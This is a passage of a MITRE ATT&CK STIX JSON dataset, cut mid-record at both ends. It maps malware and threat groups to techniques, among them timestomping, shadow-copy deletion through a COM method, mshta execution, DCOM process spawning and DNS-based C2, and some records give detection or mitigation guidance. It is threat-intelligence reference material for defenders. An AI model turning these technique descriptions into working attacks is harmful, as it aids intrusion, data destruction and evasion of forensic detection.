Military Organizations in South Asia. Retrieved June 17, 2020."}], "modified": "2020-06-29T15:22:59.271Z", "description": "[BackConfig](https://attack.mitre.org/software/S0475) has hidden malicious payloads in <code>%USERPROFILE%\\Adobe\\Driver\\dwg\\</code> and mimicked the legitimate DHCP service binary.(Citation: Unit 42 BackConfig May 2020)", "relationship_type": "uses", "source_ref": "malware--c13d9621-aca7-436b-ab3d-3a95badb3d00", "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ebf44df8-d7c7-4c95-87f0-e31f88b83c72", "type": "relationship", "created": "2019-01-29T19:09:26.747Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/", "description": "Hayashi, K. (2017, November 28). UBoatRAT Navigates East Asia. Retrieved January 12, 2018.", "source_name": "PaloAlto UBoatRAT Nov 2017"}], "modified": "2019-04-19T15:10:04.423Z", "description": "[UBoatRAT](https://attack.mitre.org/software/S0333) can upload and download files to the victim\u2019s machine.(Citation: PaloAlto UBoatRAT Nov 2017)", "relationship_type": "uses", "source_ref": "malware--518bb5f1-91f4-4ff2-b09d-5a94e1ebe95f", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ebf68107-a2b8-4ff1-916f-e1861a20914a", "type": "relationship", "created": "2020-06-15T14:22:33.878Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "McAfee Shamoon December 2018", "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/shamoon-returns-to-wipe-systems-in-middle-east-europe/", "description": "Mundo, A., Roccia, T., Saavedra-Morales, J., Beek, C.. (2018, December 14). Shamoon Returns to Wipe Systems in Middle East, Europe . Retrieved May 29, 2020."}], "modified": "2020-06-15T14:22:33.878Z", "description": "[Shamoon](https://attack.mitre.org/software/S0140) can change the modified time for files to evade forensic detection.(Citation: McAfee Shamoon December 2018)\t", "relationship_type": "uses", "source_ref": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3", "target_ref": "attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--ebfa4596-86bb-4a7f-a6f5-11a5642b31fd", "created": "2022-08-07T14:41:53.761Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "MalwareBytes SideCopy Dec 2021", "url": "https://www.malwarebytes.com/blog/news/2021/12/sidecopy-apt-connecting-lures-to-victims-payloads-to-infrastructure", "description": "Threat Intelligence Team. (2021, December 2). SideCopy APT: Connecting lures victims, payloads to infrastructure. Retrieved June 13, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[SideCopy](https://attack.mitre.org/groups/G1008) has utilized `mshta.exe` to execute a malicious hta file.(Citation: MalwareBytes SideCopy Dec 2021)", "modified": "2022-08-15T20:28:15.294Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--03be849d-b5a2-4766-9dda-48976bae5710", "target_ref": "attack-pattern--840a987a-99bd-4a80-a5c9-0cb2baa6cade", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ebfa89db-b37b-4b66-a820-b863bd012b80", "type": "relationship", "created": "2020-08-07T20:02:10.041Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "SentinelOne Lazarus macOS July 2020", "url": "https://www.sentinelone.com/blog/four-distinct-families-of-lazarus-malware-target-apples-macos-platform/", "description": "Stokes, P. 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(2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020."}], "modified": "2020-05-27T23:35:41.298Z", "description": "[ShimRat](https://attack.mitre.org/software/S0444) can list directories.(Citation: FOX-IT May 2016 Mofang)", "relationship_type": "uses", "source_ref": "malware--5763217a-05b6-4edd-9bca-057e47b5e403", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ec0ea37c-cb59-4138-ac0a-ad401b37d5fe", "type": "relationship", "created": "2021-11-12T19:30:36.058Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Fortinet Diavol July 2021", "url": "https://www.fortinet.com/blog/threat-research/diavol-new-ransomware-used-by-wizard-spider", "description": "Neeamni, D., Rubinfeld, A.. (2021, July 1). Diavol - A New Ransomware Used By Wizard Spider?. Retrieved November 12, 2021."}], "modified": "2022-03-09T18:35:37.123Z", "description": "[Diavol](https://attack.mitre.org/software/S0659) can delete shadow copies using the `IVssBackupComponents` COM object to call the `DeleteSnapshots` method.(Citation: Fortinet Diavol July 2021)", "relationship_type": "uses", "source_ref": "malware--4e9bdf9a-4957-47f6-87b3-c76898d3f623", "target_ref": "attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ec0f8f62-0eb6-4d40-a8c2-c3a083a79acd", "type": "relationship", "created": "2020-06-02T17:42:45.479Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 CARROTBAT November 2018", "url": "https://unit42.paloaltonetworks.com/unit42-the-fractured-block-campaign-carrotbat-malware-used-to-deliver-malware-targeting-southeast-asia/", "description": "Grunzweig, J. and Wilhoit, K. (2018, November 29). The Fractured Block Campaign: CARROTBAT Used to Deliver Malware Targeting Southeast Asia. Retrieved June 2, 2020."}], "modified": "2020-06-15T15:13:27.764Z", "description": "[CARROTBAT](https://attack.mitre.org/software/S0462) has the ability to delete downloaded files from a compromised host.(Citation: Unit 42 CARROTBAT November 2018)", "relationship_type": "uses", "source_ref": "malware--1b9f0800-035e-4ed1-9648-b18294cc5bc8", "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ec0ffb41-2adb-4416-8869-5b99e61615c2", "type": "relationship", "created": "2019-06-07T16:34:21.076Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Trend Micro IXESHE 2012", "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp_ixeshe.pdf", "description": "Sancho, D., et al. (2012, May 22). IXESHE An APT Campaign. Retrieved June 7, 2019."}], "modified": "2020-03-20T02:19:48.807Z", "description": "[Ixeshe](https://attack.mitre.org/software/S0015) is capable of executing commands via [cmd](https://attack.mitre.org/software/S0106).(Citation: Trend Micro IXESHE 2012)", "relationship_type": "uses", "source_ref": "malware--8beac7c2-48d2-4cd9-9b15-6c452f38ac06", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ec134ae1-153b-46bb-b5f8-d1b9ac5275df", "type": "relationship", "created": "2021-06-11T19:53:34.565Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Malwarebytes Kimsuky June 2021", "url": "https://blog.malwarebytes.com/threat-analysis/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor/", "description": "Jazi, H. (2021, June 1). Kimsuky APT continues to target South Korean government using AppleSeed backdoor. Retrieved June 10, 2021."}], "modified": "2021-06-11T19:53:34.565Z", "description": "[AppleSeed](https://attack.mitre.org/software/S0622) can pull a timestamp from the victim's machine.(Citation: Malwarebytes Kimsuky June 2021)", "relationship_type": "uses", "source_ref": "malware--295721d2-ee20-4fa3-ade3-37f4146b4570", "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ec1a882a-b9d1-469f-b944-26d684b28a1e", "type": "relationship", "created": "2021-12-02T15:48:57.529Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Talos TinyTurla September 2021", "url": "https://blog.talosintelligence.com/2021/09/tinyturla.html", "description": "Cisco Talos. (2021, September 21). TinyTurla - Turla deploys new malware to keep a secret backdoor on victim machines. Retrieved December 2, 2021."}], "modified": "2021-12-02T15:48:57.529Z", "description": "(Citation: Talos TinyTurla September 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", "target_ref": "malware--2a7c1bb7-cd12-456e-810d-ab3bf8457bab", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ec218695-e481-4895-97a2-5383949cb04d", "type": "relationship", "created": "2020-09-30T14:23:17.147Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CISA SoreFang July 2016", "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198a", "description": "CISA. (2020, July 16). MAR-10296782-1.v1 \u2013 SOREFANG. Retrieved September 29, 2020."}], "modified": "2020-09-30T14:23:17.147Z", "description": "[SoreFang](https://attack.mitre.org/software/S0516) can decode and decrypt exfiltrated data sent to C2.(Citation: CISA SoreFang July 2016)", "relationship_type": "uses", "source_ref": "malware--e33e4603-afab-402d-b2a1-248d435b5fe0", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ec2e27c9-71fe-4650-a5b9-1247193c39f6", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.symantec.com/blogs/threat-intelligence/jrat-new-anti-parsing-techniques", "description": "Sharma, R. (2018, August 15). Revamped jRAT Uses New Anti-Parsing Techniques. Retrieved September 21, 2018.", "source_name": "jRAT Symantec Aug 2018"}, {"description": "Bingham, J. (2013, February 11). Cross-Platform Frutas RAT Builder and Back Door. Retrieved April 23, 2019.", "url": "https://www.symantec.com/connect/blogs/cross-platform-frutas-rat-builder-and-back-door", "source_name": "Symantec Frutas Feb 2013"}], "modified": "2019-06-24T17:20:24.387Z", "description": "[jRAT](https://attack.mitre.org/software/S0283)\u2019s Java payload is encrypted with AES.(Citation: jRAT Symantec Aug 2018) Additionally, backdoor files are encrypted using DES as a stream cipher. Later variants of [jRAT](https://attack.mitre.org/software/S0283) also incorporated AV evasion methods such as Java bytecode obfuscation via the commercial Allatori obfuscation tool.(Citation: Symantec Frutas Feb 2013)", "relationship_type": "uses", "source_ref": "malware--efece7e8-e40b-49c2-9f84-c55c5c93d05c", "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ec362b37-1a64-4b28-8d34-7819d0aa5b2a", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "XAgentOSX 2017", "description": "Robert Falcone. (2017, February 14). XAgentOSX: Sofacy's Xagent macOS Tool. Retrieved July 12, 2017.", "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/"}], "modified": "2019-07-26T23:07:21.108Z", "description": "[XAgentOSX](https://attack.mitre.org/software/S0161) contains the getInstalledAPP function to run <code>ls -la /Applications</code> to gather what applications are installed.(Citation: XAgentOSX 2017)", "relationship_type": "uses", "source_ref": "malware--59a97b15-8189-4d51-9404-e1ce8ea4a069", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ec3f88b1-ba85-497f-91d0-3eb8dcc5c4f1", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Proofpoint Leviathan Oct 2017", "description": "Axel F, Pierre T. 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Retrieved February 15, 2018.", "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets"}], "modified": "2020-03-17T01:53:17.463Z", "description": "[NanHaiShu](https://attack.mitre.org/software/S0228) can gather the victim computer name and serial number.(Citation: Proofpoint Leviathan Oct 2017)", "relationship_type": "uses", "source_ref": "malware--705f0783-5f7d-4491-b6b7-9628e6e006d2", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--ec4231fc-c081-4060-80fb-05f390e5f24c", "created": "2023-05-18T18:48:36.205Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Mandiant Suspected Turla Campaign February 2023", "description": "Hawley, S. et al. (2023, February 2). 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Retrieved May 15, 2023.", "url": "https://www.mandiant.com/resources/blog/turla-galaxy-opportunity"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-07-25T20:10:42.885Z", "description": "[KOPILUWAK](https://attack.mitre.org/software/S1075) can gather information from compromised hosts.(Citation: Mandiant Suspected Turla Campaign February 2023)", "relationship_type": "uses", "source_ref": "malware--09fcc02f-f9d4-43fa-8609-5e5e186b7103", "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ec439835-0ccb-477e-8c58-1d8c4e8ed6ab", "type": "relationship", "created": "2020-03-17T02:28:21.891Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Symantec_Remsec_IOCs.pdf", "description": "Symantec Security Response. (2016, August 8). Backdoor.Remsec indicators of compromise. Retrieved August 17, 2016.", "source_name": "Symantec Remsec IOCs"}, {"source_name": "Kaspersky ProjectSauron Full Report", "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Retrieved August 17, 2016.", "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_research_KL.pdf"}, {"url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_Technical_Analysis_KL.pdf", "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Technical Analysis. Retrieved August 17, 2016.", "source_name": "Kaspersky ProjectSauron Technical Analysis"}], "modified": "2020-03-17T02:28:21.891Z", "description": "[Remsec](https://attack.mitre.org/software/S0125) is capable of using DNS for C2.(Citation: Symantec Remsec IOCs)(Citation: Kaspersky ProjectSauron Full Report)(Citation: Kaspersky ProjectSauron Technical Analysis)", "relationship_type": "uses", "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8", "target_ref": "attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ec4d07a2-8c8b-4df8-bb9e-b8c3e23d8dc5", "type": "relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses", "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.", "source_name": "Secureworks BRONZE BUTLER Oct 2017"}], "modified": "2020-03-30T18:41:41.342Z", "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has used RC4 encryption (for Datper malware) and AES (for xxmm malware) to obfuscate HTTP traffic. [BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has also used a tool called RarStar that encodes data with a custom XOR algorithm when posting it to a C2 server.(Citation: Secureworks BRONZE BUTLER Oct 2017)", "relationship_type": "uses", "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--ec4dfd75-c48d-4976-859e-b8732f907fc2", "created": "2022-03-30T14:26:51.859Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Microsoft Detect Outlook Forms", "url": "https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack", "description": "Fox, C., Vangel, D. (2018, April 22). Detect and Remediate Outlook Rules and Custom Forms Injections Attacks in Office 365. Retrieved February 4, 2019."}, {"source_name": "SensePost NotRuler", "url": "https://github.com/sensepost/notruler", "description": "SensePost. (2017, September 21). NotRuler - The opposite of Ruler, provides blue teams with the ability to detect Ruler usage against Exchange. Retrieved February 4, 2019."}], "x_mitre_deprecated": false, "revoked": false, "description": "Monitor executed commands and arguments that may leverage Microsoft Office-based applications for persistence between startups. Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler)", "modified": "2022-04-20T00:40:42.422Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--2c4d4e92-0ccf-4a97-b54c-86d662988a53", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--ec4e6513-e156-4ed6-b298-e740000f8f4a", "created": "2022-03-30T14:26:51.844Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Fireeye Hunting COM June 2019", "description": "Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June 10, 2019.", "url": "https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html"}, {"source_name": "Enigma MMC20 COM Jan 2017", "description": "Nelson, M. (2017, January 5). Lateral Movement using the MMC20 Application COM Object. Retrieved November 21, 2017.", "url": "https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-08-11T20:21:40.949Z", "description": "Monitor for newly executed processes associated with DCOM activity, especially those invoked by a user different than the one currently logged on. Enumeration of COM objects, via [Query Registry](https://attack.mitre.org/techniques/T1012) or [PowerShell](https://attack.mitre.org/techniques/T1059/001), may also precede malicious use.(Citation: Fireeye Hunting COM June 2019)(Citation: Enigma MMC20 COM Jan 2017)\n\nThe Microsoft Management Console (mmc.exe) can be by used by threat actors used to spawn arbitrary processes through DCOM. The typical process tree for this method looks like: svchost.exe \u2014> mmc.exe \u2014> <some_process>.exe. \n\nAccordingly, look for process creation events of mmc.exe in conjunction with the -Embedding command-line argument, along with suspicious child processes that can be used for malicious purposes, such as cmd.exe, reg.exe, etc.\n\nSimilar to the Microsoft Management Console, Excel can also be used to execute processes through DCOM. In this case, the typical process tree looks like: svchost.exe \u2014> excel.exe \u2014> <some_process>.exe. \n\nLook for process creation events of excel.exe in conjunction with the /automation -Embedding command-line argument, along with suspicious child processes that can be used for malicious purposes, such as cmd.exe, reg.exe, etc.", "relationship_type": "detects", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--68a0c5ed-bee2-4513-830d-5b0d650139bd", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ec5259f2-5a6c-4d42-bf21-f91c2df64f61", "type": "relationship", "created": "2020-06-25T18:24:00.644Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "objective-see windtail1 dec 2018", "url": "https://objective-see.com/blog/blog_0x3B.html", "description": "Wardle, Patrick. (2018, December 20). Middle East Cyber-Espionage analyzing WindShift's implant: OSX.WindTail (part 1). Retrieved October 3, 2019."}], "modified": "2020-06-25T18:24:00.644Z", "description": "[WindTail](https://attack.mitre.org/software/S0466) can instruct the OS to execute an application without a dock icon or menu.(Citation: objective-see windtail1 dec 2018)", "relationship_type": "uses", "source_ref": "malware--0d1f9f5b-11ea-42c3-b5f4-63cce0122541", "target_ref": "attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ec536758-9478-4bf9-9abd-69755d8382d2", "type": "relationship", "created": "2020-08-24T13:40:23.262Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET PipeMon May 2020", "url": "https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/", "description": "Tartare, M. et al. (2020, May 21). No \u201cGame over\u201d for the Winnti Group. Retrieved August 24, 2020."}], "modified": "2020-08-24T13:40:23.262Z", "description": "[PipeMon](https://attack.mitre.org/software/S0501), its installer, and tools are signed with stolen code-signing certificates.(Citation: ESET PipeMon May 2020)", "relationship_type": "uses", "source_ref": "malware--8393dac0-0583-456a-9372-fd81691bca20", "target_ref": "attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--ec55cdc1-8ca2-42c9-a1d9-9755d24bc294", "created": "2020-03-30T21:01:05.636Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "PWC Cloud Hopper Technical Annex April 2017", "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", "url": "https://www.pwc.co.uk/cyber-security/pdf/pwc-uk-operation-cloud-hopper-technical-annex-april-2017.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-23T15:14:18.651Z", "description": "[RedLeaves](https://attack.mitre.org/software/S0153) can use HTTP over non-standard ports, such as 995, for C2.(Citation: PWC Cloud Hopper Technical Annex April 2017)", "relationship_type": "uses", "source_ref": "malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5", "target_ref": "attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ec56fe4c-c61c-45e3-82fb-44edd43540fc", "type": "relationship", "created": "2020-02-10T20:03:11.820Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-03-31T13:11:10.125Z", "description": "Use file system access controls to protect folders such as C:\\Windows\\System32.", "relationship_type": "mitigates", "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", "target_ref": "attack-pattern--bd5b58a4-a52d-4a29-bc0d-3f1d3968eb6b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--ec5caf8f-0fb8-4c3b-bd31-08804ff2214e", "created": "2022-06-10T17:10:42.165Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "MSTIC DEV-0537 Mar 2022", "description": "MSTIC, DART, M365 Defender. (2022, March 24). DEV-0537 Criminal Actor Targeting Organizations for Data Exfiltration and Destruction. Retrieved May 17, 2022.", "url": "https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-12T12:57:31.067Z", "description": "[LAPSUS$](https://attack.mitre.org/groups/G1004) has used compromised credentials to access cloud assets within a target organization.(Citation: MSTIC DEV-0537 Mar 2022)", "relationship_type": "uses", "source_ref": "intrusion-set--d8bc9788-4f7d-41a9-9e9d-ee1ea18a8cf7", "target_ref": "attack-pattern--f232fa7a-025c-4d43-abc7-318e81a73d65", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ec6017be-71ca-4ac3-a7de-26ab47f9c826", "type": "relationship", "created": "2022-03-30T14:26:51.864Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.864Z", "description": "Monitoring the specific plist files associated with reopening applications can indicate when an application has registered itself to be reopened.", "source_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", "target_ref": "attack-pattern--e5cc9e7a-e61a-46a1-b869-55fb6eab058e", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ec6074e4-4137-42a4-86c8-1ea95ce54df6", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/", "description": "Lee, B. Grunzweig, J. (2015, December 22). BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger. Retrieved August 19, 2016.", "source_name": "Palo Alto Networks BBSRAT"}], "modified": 